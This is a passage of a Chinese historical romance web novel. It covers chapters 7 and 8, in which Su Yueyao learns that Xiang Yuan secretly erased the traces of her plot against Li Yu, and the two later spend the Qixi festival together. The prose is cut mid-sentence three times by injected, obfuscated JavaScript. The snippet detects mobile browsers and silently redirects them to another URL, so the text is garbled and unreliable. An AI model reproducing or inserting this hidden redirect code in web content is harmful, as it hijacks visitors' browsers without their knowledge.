比如李欲的未婚妻。 这是她后来打听到的,未婚妻是长安贵女,最是清高自傲,怎么会容忍未来夫婿那般浪荡糜烂。 于是她找到同被欺负的良家女,假意施以援手,将自己完美隐藏在后。 原本她只是想给李欲制造点麻烦趁机逃走,哪知道事情进展好过了头,李欲不会再回凉州城了,她也就没必要逃去江南。 在家等了两天,无事发生,便欢天喜地又去项府碰运气。 许久没来,园子有些陌生,苏月夭只觉得花更艳叶更密,深深呼吸,连空气都那样清新,令人心旷神怡。 绕过假山,正前方有处幽静院落,遥遥能看到匾额,估摸是间书房。 她的脚步顿了下,之前与项渊相会都是在凉亭水榭这样四面开放通透的房间,从来没有私下关门独处过,为何今日突然要带她去书房这么私密的地方? 若是以前,她指不定会心中窃喜,天真地以为这是他们关系亲密的表现,今天肯让她进书房明日就能带她去项峻的院落玩乐。 可她刚从李欲手中逃脱,正是最敏感介怀的时候,哪怕知道项渊并不是真纨绔,心里也不住打鼓,几度想要问问前边带路的随从。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590627|205446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可随从的脚步极快,不等她鼓起勇气问出口,已经走到书房门前,躬身示意她进去。 她拖着步子登上台阶,缩起身体尽量不让里边瞧见,待到门口才抬眸朝里快速瞄了眼。 这一看骇得她心脏狂跳,浑身僵直。 书房内没有侍候的随从,只项渊一人,斜坐在榻上,正低头看信。 似是觉察到她的存在,他抬起头,“怎么不进来?” 他面上看着还算正常,没有轻佻浮浪之色,比平日多了分肃穆。 苏月夭紧掐手心,抬脚跨过门槛。 “怎么在书房见面?可是要给我看什么字画?”她笑得轻盈,脚后跟却抵在门槛上,身体也微微后仰,这样旁人无法从外边关门,若是他真的发癫,她也能立即逃出去。 项渊没接话茬,眯着眸子足足盯了她数息,看得她汗毛直立。 蓦地,他绽出一抹笑意,语气带着几分玩味,“没想到夭娘居然如此厉害。” 苏月夭心下骇然,不知道他什么意思,但总归绝不是好事,想要敷衍过去,刚张开口就结巴了,“我,当然厉害了,我……” “别装了。”项渊低声喝断,“我知道李家的事是出自你的手笔。” 一句话如同锋芒利刃将未说完的话和脸上的笑意生生削去,苏月夭感到背脊发寒,第一反应竟是回头去看门外。 好在刚才送她来的随从已经离去,周围也无半点人影。 可她心里还是不踏实,恨不得将门紧紧关严,不让任何声音透出去。 “现在李四已经派人在查了,你以为你做得很隐秘?” 项渊从鼻间哼笑出声,带着上位者居高临下的轻慢与嘲讽,“只要找到那户农家严加盘问,就知道背后是谁在帮他们,又是哪家的商队送他们去长安。” 也就是说,他还没有抓到实质把柄。 “你在说什么啊?” 转回头时,苏月夭已稳住心神,仰起脸直直看着他的眼眸,语气无辜,“你说的李家可是行军司马府上?我听说好像是出了点事,但你弄错了,苏家可没有途径长安的商队,更不认识什么农户。” “的确,苏家是没人去长安。”项渊顿了下,一瞬不瞬地盯着她的表情,好似不想放过她被逼到绝境的窘态,“但苏家与去长安的商队做了什么交易,苏家的伙计们又在打听什么消息,苏娘子可曾知道?” 苏月夭也确实被逼急了,一字字念着他最讨厌的称谓回怼,“敢问项巡使,正常商业往来有何不可?” 果然,项渊瞬间沉下脸,猛地攥紧那张书信,挥手甩过来。 纸页翻折发出“啪”的响动,好似刀刃泛起白光,弹起又舒展开,露出右下角的血红手印。 苏月夭被那抹熟悉的红惊得呼吸一滞,心头突突直跳,信怎么会在他手里?不可能的,一定是他故意诈她。 看她不说话,项渊将信纸抖得哗哗响,“这封伸冤信你总认得吧?这么隐秘的内容不太可能找外人来做,是你姐夫写的?还是你家帐房先生?只要比对字迹便知。 我这个旁观者都能想到的法子,你说这会李四会不会已经派人去苏家了?” 说完,他朝她粲然一笑,可她只觉得那俊美的笑颜仿若罗刹恶鬼,极尽嘲讽,看得她眼窝生疼。 那字迹是小陆夫子的,她再熟悉不过。 把柄落在他手上,她,还有苏家都完了,阿姊、姐夫、素锦、小陆夫子……谁也别想逃过去。 都是她拖累大家。 此刻自责悔恨的情绪涌上来,又十分委屈,明明是李欲欺负人,她不过是想趁机逃走,况且她也没做错,是他欺男霸女、哄骗姻缘在先,可到头来他却不肯放过她。 她紧紧咬着唇瓣,眼尾赤红地瞪着面前的人。 恨不得扒开他的心肠,问问他的真心话,到底想做什么!会不会将她交给李欲! 7. 第七章 从书房门口到软榻桌案前,苏月夭不知道自己是一步步挪过去的,还是快步走上前,只觉得时间分外漫长,脑内翻涌过无数念头。 节度使的次子和行军司马的四子怎么可能不认识?两人年岁相仿,搞不好还相伴长大,狼狈为奸。 难怪今日要在书房相见,怕是李家的人此刻就藏在暗间秘阁,就等项渊一声令下,将她绑了带走。 “你可真傻啊。” 项渊轻笑一声,竟带着几分劝慰的口吻,“想要借刀杀人,就得把刀上的血擦干净。如今农户和商队那边全是漏洞,最关键的是这封信,若是落在李四手里,怕是天王老子也救不了你。” 说着,又朝她抖了抖信。 苏月夭如何不知,可把柄不是在他手里么? 抢又抢不过,只能眼巴巴看着,视线控制不住随着信纸移动,甚至开始幻想有什么戏法,可以悄无声息地将信从他手里变到她手中。 可随后,神奇的一幕出现了: 那封信竟被推至身前,离她堪堪三指的距离,还上下晃了晃,似是要她接下。 她怀疑自己会错意,可随即头顶传来项渊不耐的声音,“愣着干嘛?拿着啊。” 这是要将信还给她? 她十分诧异,愈发搞不懂他葫芦里到底卖的什么药,可纵使明白他不会那般好心就这样轻易放过她,身体还是先于大脑行动,僵硬地抬起手,紧紧攥住信件的一角。 在她接住的瞬间,项渊就撒了手,完全没有逗弄的意思。 她这才抬起头,眸光落在他的面容上,仔仔细细地看,“……真的给我?” 项渊没好气地剜她一眼,“不然我留着这玩意做什么?” 她也想不明白,此刻也没功夫去琢磨,当即将信纸对折,两只手齐用力,撕扯开来。 手还在颤抖,根本没多少力气,她咬牙撕了半天,还有好几块完整的纸面,能清晰看出上面的字迹,另有不少纸屑簌簌落在脚边。 似是看不下去她手上的红痕,项渊在旁说,“别用撕的啊,过来烧。” 苏月夭闻声抬头,看他下榻走到香炉前,将镂空金边华盖揭开,解下腰间缠带的火折子,轻吹了下,火光骤亮。 她赶忙捡起地上的纸屑,连带没撕碎的那几片一并捧着走到他身旁,尽数放在熏炉中。 火舌舔过纸面,倏地燃起数寸高,火光映在紧紧相挨的两人面上,滚烫的温度烫得面容生痛,她却移不开视线,直到纸屑完全变成无法分辨的黑灰,最后连灰烬都散去不见,方才安心了些。 她攥紧手指,将心中疑惑直白问出口,“你怎么会知道这些事?又是如何拿到信的?” “凉州城什么事能瞒过我?早在商队送农户去长安的路上我就知道了,派人在关口拦住,假意查验,翻出这封信,照着抄了份,替换过去。” 项渊用匕首随意拨拉着香灰,哼笑一声,“如今李四手里的那封是假的,如何能对出字迹来?” “你……命人假扮关口士卒?”苏月夭倒吸一口气,怔怔看着他,“岂不是犯法,被发现了怎么办?” 项渊乜斜着眼看她,“我可不像你,我做事一向隐秘,不会有人发现。就算被发现了——” 说到这,他将匕首随意掷在香炉中,撞出“铛”的脆响,“降职、罚银、杖刑、充军,不外乎这几样,我做的坏事多了去了,不差这件。” 他说得恣意轻松,却听得苏月夭心头突突直跳,目不转睛地盯着他看,“可现在你告诉我了,落把柄在我这。” 项渊垂下眼帘睨她,“所以呢?夭娘这是要去告发我?” “不。” 脑海中蓦地蹿出个念头,苏月夭有一瞬愣怔,随即笑逐颜开,“我在想我们现在是共犯呢。” 共犯? 项渊在口中默念这个词。 可不是吗?他屏退下人单独在书房约见她,不就是想着拉她共担风险,共享秘事? 这层隐秘的想法他自己都未曾察觉到,却借她的口说出来,真是心有灵犀。 再看到她面上笑意明媚,眼眸似星,心间难以言说的愉悦得意似春水般一圈圈荡开涟漪,语调都高了几分。 “不止如此,我还将农户一家和商队送出河西,李四现在去查,早已人去楼空,怕是要气得干瞪眼。” 他竟然默默为她做了这么多? 苏月夭怔怔看着他,亏她之前还将人想得那般不堪,此刻看少年意气风发模样,愈发羞愧,渐渐垂下头去,紧紧捏着手指。 半晌才抬眸,眼睫轻眨,嗓音低柔,“……你为什么要为我冒这么大风险?” 项渊的表情微僵,随即低头看她,猝不及防撞进她明亮的眸光中,熏炉中的火光将熄,映在她眼中明明灭灭,摄人心魄,让他如何说得出口。 之前派人盯梢,意外发现她的秘密也被吓一跳。 他设想过她回家后会有何举动,或是龟缩在家等死,或者以卵击石拿命反抗,又或者想方设法逃出去……那些被欺凌的娘子多半如此。 可她偏偏不同,也不知从哪借来的胆子,不过是个小小的商户女,竟敢主动出击,筹谋算计世家纨绔。 当时只觉得自己真是小瞧了她,一时感叹她的勇气,一时感叹她的聪慧,思来想去,竟发觉她如此独特,难怪之前会说他有兄长无法比拟的长处。 这样的人断不能落在李四那厮手里,于是她在前面设陷阱,他悄无声音地跟在后,替她抹去痕迹。 只是这些心事难以言说,他微侧过脸,视线也越过她落在远处,神情看着就有几分随意,“总不能看着你掉火坑吧?再说,又不是第一次救你了,这有什么?” “之前你什么时候……”苏月夭蓦地回忆起编造的救命之恩,连忙将话头止住,讪讪笑了两声,“那我又欠你恩情了,以后得多来府上叨扰送礼,你莫要烦我。” “有夭娘惩治李四在先,我哪里敢烦。”项渊故作夸张地朝她作揖,“说真的,以前我那样待你,你是不是也恨我?” “郎君是我的救命恩人,我怎会恨你?” “那就好,我还以为之前被父亲打骂禁足是夭娘的手笔。”他尤在感叹,“你胆儿可真肥啊,被当街拦住就不怕吗?” 听出他是在说玩笑话,苏月夭也佯怒冲他哼了声,不等他邀请,自个转身坐在榻上,“我当时也怕得紧,只是也曾被当街羞辱过,已经有了经验,知道如何应对。” 话音刚落,项渊的面色骤变,撩袍与她隔案相坐,声音发寒,“谁?” “你啊。”苏月夭抬眸看着他笑,在他惊诧的目光中讲起两人初识那次,他是如何命人当街拦住她的车马,送还礼物给她难堪。 项渊的面色渐沉,听完已涨红脸,猛地拍案起身,“这群偷懒的废物!” 苏月夭这才知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590628|205446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道那时他并无羞辱她的意思,只是命下人将礼物送还苏家,还真的是因为她的马车走在后边比较好追赶,就被拦住了,完全是个误会。 看他面色冷峻,疾步往外走,袍角猎猎作响,她连忙起身小跑上前拦住他,“算啦算啦,我知道你不是那个意思就好。” 项渊这才气鼓鼓回到榻上,仰头饮了杯茶,面上的煞气退散,却还冷着脸,“这些下人就是势利眼,阳奉阴违,我怎会那样待客呢?可笑。” 大有一副错都是别人的,他无错的架势。 看得苏月夭忍不住去揭他的老底,忍着笑说,“就是就是,郎君待我极好,之前还拿宝剑出来给我瞧。” 项渊握着杯盏的手顿时僵住,轻咳一声,边饮茶边辩解,“也就吓吓人,怎么可能真的动手?” 苏月夭趁胜追击,“还有啊,我拜访你足足三次,才喝到第一杯热茶呢,可惜不是我喜欢的口味。” 此话一出,项渊几乎不敢看她,因为此时的桌案上也只有一盏茶,根本没给她准备。 他将杯盏推到旁,放声承诺,“下次你来,我搜罗天下各色好茶,任你选!” 之后苏月夭去项府已无需再寻由头,哪怕空着手去,门卫看到她,也会笑容可掬地迎上前。 凉亭的石案上摆着她最爱的阳羡茶和桂花酥,都是江南的特产,也不知他是如何弄来的。 有回她离开恰逢有个纨绔来府上,纨绔忍不住多看了几眼,眉眼轻佻,项渊等她走远了,就拿弹弓去弹纨绔的眼,“不想要这对招子了直说。” 之后再也没有纨绔敢找她麻烦,遇到了都绕着走。 他们之间说话也不再拘谨,尤其是苏月夭,不再像之前那样只捡好听的话说,有时会像那天在书房那般阴阳怪气,怼地他无地自容。 可项渊不知自己着了什么魔,竟分外喜欢她这幅模样,看她眼眸清亮、神采飞扬,视线不自觉会在她面上停留几息。 “你怎么就发呆啊?”苏月夭鼓起脸来,“你到底肯不肯乞巧节随我出去玩啊?” 项渊回过神,揉揉眉心,已经不知第几次拒绝,“不去。” 苏月夭毫不气馁,又说起当天要怎么打扮怎么玩,妄图打动他。 项渊蹙眉看她,“就这么期待吗?” “是啊。”只要一想到那天能够见到项峻,而且还是在乞巧节,可以身着盛装,给他留下初见好印象,苏月夭就止不住地开心,脸上漾出红晕。 项渊不知她心中所想,看她娇羞垂眸不敢与他对视,他也跟着不自在,随后又生出淡淡的歉意。 她这么喜欢他,可惜他只将她当做相处融洽的朋友,而且父亲已经在为他筹划婚事,若是相看到合适的贵女,以后娶了别人,她不得哭死? “再说下去我耳朵都要长老茧了……算了,我答应你。” 不忍她陷太深以后情伤难愈,这次就了却她的心愿,游玩结束后和她说清楚吧。 苏月夭眉眼都快弯成月牙状,再三强调务必带上项峻,莫要让人误会,他勉强点头应下。 乞巧节那日,还在白天项渊已坐卧不宁,不住后悔为什么要答应她这么出格的要求,更不知道之后该如何拒绝。 心绪烦乱,他早早纵马出去闲逛,熬过了两人约好的时辰,才去相见地点。 当然,只有他一人。 他完全不曾同项峻透露过乞巧节出游的事。 8. 第八章 他们约在酉时相见,项渊路上磨磨蹭蹭,等到地方已过去一柱香功夫。 此时烈阳微斜,大片明媚白光照在川流不息的人群上,距离夜晚乞巧灯会还有段时间,长桥上下已围得水泄不通,人声鼎沸,好不热闹。 项渊骑在高头骏马上,塌腰松松握着缰绳,在热辣刺目的阳光中,懒洋洋地眯眼扫过人群。 可纵使他在马上视野广阔,依旧没瞧见苏月夭。 又找了足足半刻钟,后背头顶被炙烤地发烫,喉咙也干涩生痒,依旧连她的半片衣角都没瞅见。 他猛地攥紧缰绳纵马掉头,同时敛眉低声命令陈石留下来等苏娘子,他要回府了。 恰在此时,喧闹夹杂着些许熟悉的声音飘渺传来,似是有人在喊他的名字。 他止住声音,凝神分辨,这才听清。 “啊,原来你在这——” 那声轻软的娇笑自头顶传来,他赶忙纵马后退几步,仰头去看。 只见方才寻了许久的人,此刻正扒在长桥的石墩上,笑盈盈地朝他微笑招手。 今日她特意梳洗打扮了番,乌黑秀发编了两股细细的麻花辫在脑后盘成双垂髻,发上未戴任何钗饰,只在鬓角别了几朵月白色的槐花,被风吹得一下下颤动,连同她银铃般的笑声一起在他心里荡起阵阵涟漪。 他不敢再盯着她姣好的面容,垂下眼睫,视线落在她扒在石墩上的那双素手。 她穿的薄纱长衫的袖子似乎过长了,盖住了手背,只露出涂着石榴红丹蔻的指尖,那鲜亮的颜色更衬得五指瓷白柔软。 偏偏这样精致,她却毫不在意地扒在石墩上,另只手的袖子滑落,手腕处蹭上一抹青黑色的灰土。 他喉结微动,心中蓦地升起一股燥意,竟想要牵过她的柔荑,亲手将那抹黑灰擦拭掉。 这个念头甫一出现,就被他强压下去,面上没有表露出分毫,握着缰绳的手愈发用力。 “郎君,还回府上吗?”陈石的声音陡然响起,似是怕他没听到,又大声喊,“郎君?” 项渊这才如梦初醒,顿时沉下脸,嘴里骂了句没眼力见,随后翻身下马,顺手理了下衣衫,将马绳甩给陈石,就快步走去桥上,也不管后边几个随从能不能跟上。 穿过层层人海,走到近前,两人面对面,她手里的团扇轻摇,徐徐香风快要拂到他的面上。 项渊只觉得今日的她如此娇俏明媚,熠熠生辉,简直比头顶的烈阳还要夺目刺眼,他垂下眸,视线都不知该落在何处。 可转念一想,她这样精心打扮可不就是为了他,若是不看岂不是浪费她的心血? 遂仰头直面,还要摆出三分散漫,以防被误解,“真是人靠衣裳马靠鞍,夭娘今日这一身行头,乍一看还以为哪家贵女偷溜出来。” 苏月夭只是淡淡笑了下,用团扇半遮住面,侧头朝他身后望去,眸光闪动,“项世子怎得还没跟上来?” “兄长公务繁忙,今日也不得空,他不来了。” 苏月夭轻轻“哦”了声,被团扇遮住了面庞,也看不出喜怒。 但项渊总觉得她眼里的精神劲倏地消失得一干二净。 “你莫要担心,咱们也算不上独处。”他赶忙解释道,“我带了随从,你也有婢女在侧,不会有人传闲话的。” “嗯。”她垂下眼帘,只盯着地上看。 “若是有人敢传,我就铰了他的舌头!” “项世子怎么这么忙?”她突然转了话题,“休沐日在忙,节日也在忙,一年中难道就没有一天歇息的日子吗?” 项渊完全没料到她会问这个,一时梗住,半晌磨了磨后槽牙,挤出个笑,“谁让兄长贤能,这么年轻就当上节度掌书记,公务多依仗他。” 她轻轻点头,又问,“那你和项世子说起乞巧节出游的事情,他可曾拒绝?” 一连几个问题都绕着那人转,项渊眯了眸子,视线细细在少女面上逡巡,终是将翻涌的情绪压下,笑得轻慢,“夭娘似是对我兄长极为在意。” 听到这话,苏月夭才蓦地反应过来,许是过于失落,她没有掩盖好情绪竟被人察觉出来。 她将脸抵着团扇思考,要不要让项渊知道她的小秘密呢? 对他,她是有几分信任的,也想过直接坦白了,求他牵线搭桥。 可是项峻若是知道她如此大费周章求着念着见他,岂不是很掉价? 出生商贾之家的她再清楚不过,商品哪怕烂掉也不能贱卖,所以她也只需要一场精心策划的偶遇。 思及此,她撤开团扇,慢悠悠地挥动,“我来凉州城数月,见黎民安康、商道通畅,想来少不了河西大大小小官员的努力,只是没想到项世子竟如此勤勉,舍己为公,我亦很是敬佩他。” 项渊听到这话,便别开视线,毕竟他已数月没去上值了,她口中河西上下矜矜业业的官员自然是不包括他的。 轻咳一声,刚想要换个话题,周围的人群忽地多起来,蜂拥朝桥下而去,苏月夭被行人撞了个趔趄,险些栽倒,还好身旁的婢女眼疾手快扶稳了。 若撞人的是郎君,项渊还能替她出口气,偏偏是几个贵女,估计平日在家蛮横惯了,心中便不大痛快。 她柔声劝,“不碍事的,几位娘子也不是故意的,实在人太多了,我们也去桥下转转吧?” 项渊点头称是。 两人一前一后走着,注意到她的视线还落在前边那几个贵女身上,便走快两步,行至她身侧,“夭娘还是气不过?” “怎么会?”苏月夭面上挂着浅笑,声音却轻了许多,“我只是羡慕她们每日都能穿纱衣戴金钗,可以将自己打扮得如此俏丽。” 听她这么说,项渊的视线快速略过她,又望向远处的贵女。 她们披着彩色纱衣,飘渺似仙子下凡,头上珠翠金钗摇曳,闪烁出夺目光彩,即使隔这么远,也刺得他双眼酸痛,忙收回视线。 “我倒觉得你这身比较耐看。”至少不伤眼。 “哎呀,项渊你真是不知俗雅。”苏月夭幽怨道,“商贾出身的我只有节日这几天可以稍有逾越,但也仅限纱衣,金钗步摇想都不要想,怕是这辈子我也没机会戴吧?” 他这才反应过来,可她的情绪已经明显低落,平日叽叽喳喳的人如今安静下来,气氛就有些滞涩。 项渊便带她各处去玩,体验河西这边的乞巧节。 她兴趣缺缺,表示与江南的风俗也没太大区别,她早就玩腻了。 “那你去过胡人的节日吗?每逢九月祭祀,他们会屠牛宰羊,载歌载舞,还会在祁连山下举办骑射大赛,那时天高云阔万马奔腾绝对是你没见过的景象。” “听着就好玩。”苏月夭咬着糖葫芦,心不在焉地答,“若是有朝一日我也能去看看就好了。” “咱们凉州城也有类似的比赛,就在九月,届时各个世家的郎君都会参赛。” “项……项渊你会参加吗?”苏月夭蓦地打断他,险些说错话,眼珠子滴溜溜转过来,眸光颤动,“那天项世子不用再忙公务了吧?” “当然了,项家四个儿郎都会参加,不过嘛。”看她终于起了兴致,项渊慢拖着腔调卖关子,“能在旁观看的也只有世家贵女和亲眷。” 苏月夭眼中的光彩瞬间黯淡下去,但也就一瞬,很快扬起脸,眼巴巴看他,“你带我去好不好?” 这个眼神项渊再熟悉不过,前几日她缠着他要同去乞巧节,就是用这种小鹿般、水汪汪的澄澈眼眸,结果来了她又不肯玩。 “你想去啊?” “嗯!” 项渊笑得轻佻,眼波流转间顾盼神飞,“那就不带你。” “为什么!”苏月夭似是不敢相信,杏眼圆睁,“你都和我说了这样的趣事,却不肯带我,难道是故意的?” 项渊握着刚赢下的折扇,转着扇柄指了指她又指了指自己,“你跟我非亲非故,还是商贾出身,我怎么带你?” 苏月夭哑然,没想到他这么在乎门第观念,还以为他们关系近了,终有一天他会允她唤他一声表兄,没曾想他始终看不起她。 眸光扫过不远处的投壶比试,她攥住他的衣角,用力拖拽,“既如此,我们先比一场,若是我赢了,你就带我去。” 项渊本来不想答应,可瞥见她要去的正是方才怎么都不肯陪他玩的摊位,遂放松身子,拖着步,由她拽过去。 苏月夭五局五败。 “就你那细胳膊细腿还跟我比?”项渊嗤笑道,“你好歹往前扔啊,我是没见过有人投壶能把箭落在自己身后的。” 苏月夭强忍着羞赧,指着另个聚集一堆娘子的摊位,“本来比投壶就不公平,我们去比试穿针。” 结果她又输了,后面还比了投针、诗文……她从没赢过。 “为什么啊!”苏月夭咬着糖葫芦的竹签,银牙都快咬碎,“女红不如你也就罢了,为什么你还会诗文,你不是少时从军大字不识么!” “你莫要侮辱人!”项渊被她气得龇牙咧嘴地笑,“从军前好歹我也参加过科举,秀才出身会点诗文很奇怪么?” 她才不关心他什么出身,她只想观赛,和心上人相识,怎就那般难? 情绪上头,也无旁的办法,竟软着声音耍赖,“我们江南那边乞巧节的特色是梅子饼,过几日家里也会做些,我带给你尝尝,求你了,看在梅子饼的份上,你就带我去罢。” 项渊挑眉,“你就拿这点吃食收买我?” “送别的你又不要。”苏月夭小声嘟囔了句,又双手比划起来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590629|205446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅子饼真的很好吃,皮薄馅大,酸酸甜甜的,我保证你会喜欢。” 项渊噙着笑,目光一瞬不瞬地看她展示,白皙面庞染上一抹绯红,不知是刚才热的还是此刻过于激动,发带随着她的动作也一颤颤地跃动,嗓音轻甜似酒,吴侬软语,每一句都似琴音。 知道她断没有撒娇的意思,可看她这娇憨模样,听着这柔软语调,他似是醉了,心里软烂成一片,竟鬼使神差答应下来。 “好,若是好吃我就带你去。” 苏月夭喜得僵住,只有眼眸倏然亮起,盈盈泛光。 又觉得太便宜她,项渊追加条件,“我只吃你做的,而且须是第一笼。” “我?”苏月夭一脸惊诧,不住摆手,“你看我像是会的?不行不行,我做的肯定不好吃。” “不会就学。”看她仍要推拒,项渊故意说,“你好好做,我还要分给别人品尝,莫要害我失了颜面。” 这个别人大概率是他的家人吧?也就是说项世子会吃到她亲手做的梅子饼! 苏月夭渐渐红了脸,垂首轻声应下。 还好此时华灯初上,被暖橘色的光晕笼罩着,谁也看不清她面上的羞赧。 三五孩童嬉闹着从身旁跑过,手提形状各异的花灯,他们也从灯笼铺买了两盏孔明灯,写下各自心愿,准备一会放飞。 走去放灯途中,有个苏家的仆从挤过来,说家里有急事要娘子尽早回去。 苏月夭也慌了神,情急之下将孔明灯塞给项渊,提前告辞离开。 项渊左右手各执一盏灯,望着少女匆匆离去的背影,十分惋惜,距离放灯的地点只余五六步了,乞巧灯会也才刚开始。 替她放灯时,项渊的眸光不受控制朝许愿笺快速瞥过,心里响起一阵自嘲。 项鸣深啊项鸣深,你未免将自个看得太重,竟以为会出现在小娘子的心愿上么,怎么会有你这样不要脸的? 可真的看到那个“项”字时,他倏地顿住。 知道她已经走远了,还是抬眸用余光瞥了眼四周,没瞧见人影,这才利落地将许愿笺展开。 巴掌大点位置,被她写得满满当当,笔墨渗透纸张,都快看不清字迹,真是个贪心鬼。 仔细辨认,她写了三个愿望: 一、愿习得妙手,制成可口梅饼; 二、愿顺利出行,得观骑射大赛; 三、愿项郎知我心意,允我常伴身侧…… 后面的字迹模糊看不清,项渊也没心情分辨,只觉得周遭的喧闹似在一瞬静止,静得他能听到自个心脏的咚咚狂跳、滚烫急促的呼吸声。 怀疑自己看错了,他反反复复辨认了好几遍,整个人入定般呆立在那,连店家都开始催,问他这盏灯还要不要放。 他这才将许愿笺折起,胡乱绑好,又怕掉下来被人捡到,重新系了个牢固的死结。 孔明灯徐徐升空,他赖在店家门前仰头看了许久,嘴角不住上扬。 他是没想到苏月夭竟时时刻刻念着他,不放过任何机会许愿求姻缘,用情好深啊,就这么喜欢他么? 可惜啊,他们门第有别不可能有结果。 他双臂环胸幻想到了那时,少女泪意朦胧攥紧他的衣摆,苦苦哀求不要分开的凄楚模样,竟兀自笑出声,嘴角快要咧到耳后根去。 陈石好奇看过来,项渊清了清嗓子努力板起脸,唇角却拉不下去,只好用手捂着唇假装咳嗽,脑内继续幻想着,那时他要怎么拒绝。 他可以冷脸转身离开,可她仍是不放手呜呜咽咽哭个不停怎么办? 那么可怜不如答应她吧。 他被这个荒诞的念头吓了一跳,可随即心底涌上一股酸涩的甜蜜,反正是幻想,他竟纵容自个沉溺其中,继续想下去。 他会为她回头,会将她牢牢护在身后,会八抬大轿将人风风光光娶进门,说服父亲母亲…… 家里的那些人,那些事蓦地钻入脑海中,搅乱了他的幻想,他像是从梦中惊醒,晚风吹散了身上的热意,连心也变得愈来愈冷。 项渊望着高空中有盏孔明灯被风撕碎,摇摇欲坠,仿若他刚燃起又被扑灭的妄念,唇角的笑意渐渐淡去。 他们相识不过数月,她的思慕未必有多真。 若是她看到他难堪的那面,若是她见过那人,她还能像今日这般虔诚地祈愿与他长相厮守吗? 不可能的,她只是盲目地爱错了人。 那盏孔明灯很快坠在地上,被拥挤的人群踩烂,不知是谁家的灯笼又写着怎样的心愿。 项渊没来由得感到可惜,忽然想起来,他今日赴约不就是为了打破苏月夭的妄想,让她少在他身上花心思么? 他翻身上马去追苏家的马车,背对热闹的街肆朝黑沉沉的夜幕而去。